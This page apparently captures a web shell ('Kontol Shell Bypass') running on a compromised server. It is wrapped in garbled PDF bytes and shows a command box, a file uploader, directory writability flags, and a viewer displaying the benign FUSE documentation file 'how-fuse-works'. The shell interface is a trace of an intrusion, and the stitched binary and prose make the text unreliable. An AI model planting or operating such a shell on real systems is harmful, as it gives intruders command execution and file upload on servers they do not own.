%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /usr/share/doc/libfuse2/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //usr/share/doc/libfuse2/how-fuse-works
                           How Fuse-1.3 Works

[Written by Terje Oseberg]

1. The fuse library.

When your user mode program calls fuse_main() (lib/helper.c),
fuse_main() parses the arguments passed to your user mode program,
then calls fuse_mount() (lib/mount.c).

fuse_mount() creates a UNIX domain socket pair, then forks and execs
fusermount (util/fusermount.c) passing it one end of the socket in the
FUSE_COMMFD_ENV environment variable.

fusermount (util/fusermount.c) makes sure that the fuse module is
loaded. fusermount then open /dev/fuse and send the file handle over a
UNIX domain socket back to fuse_mount().

fuse_mount() returns the filehandle for /dev/fuse to fuse_main().

fuse_main() calls fuse_new() (lib/fuse.c) which allocates the struct
fuse datastructure that stores and maintains a cached image of the
filesystem data.

Lastly, fuse_main() calls either fuse_loop() (lib/fuse.c) or
fuse_loop_mt() (lib/fuse_mt.c) which both start to read the filesystem
system calls from the /dev/fuse, call the usermode functions
stored in struct fuse_operations datastructure before calling
fuse_main(). The results of those calls are then written back to the
/dev/fuse file where they can be forwarded back to the system
calls.

2. The kernel module.

The kernel module consists of two parts. First the proc filesystem
component in kernel/dev.c -and second the filesystem system calls
kernel/file.c, kernel/inode.c, and kernel/dir.c

All the system calls in kernel/file.c, kernel/inode.c, and
kernel/dir.c make calls to either request_send(),
request_send_noreply(), or request_send_nonblock(). Most of the calls
(all but 2) are to request_send(). request_send() adds the request to,
"list of requests" structure (fc->pending), then waits for a response.
request_send_noreply() and request_send_nonblock() are both similar in
function to request_send() except that one is non-blocking, and the
other does not respond with a reply.

The proc filesystem component in kernel/dev.c responds to file io
requests to the file /dev/fuse. fuse_dev_read() handles the
file reads and returns commands from the "list of requests" structure
to the calling program. fuse_dev_write() handles file writes and takes
the data written and places them into the req->out datastructure where
they can be returned to the system call through the "list of requests"
structure and request_send().

Kontol Shell Bypass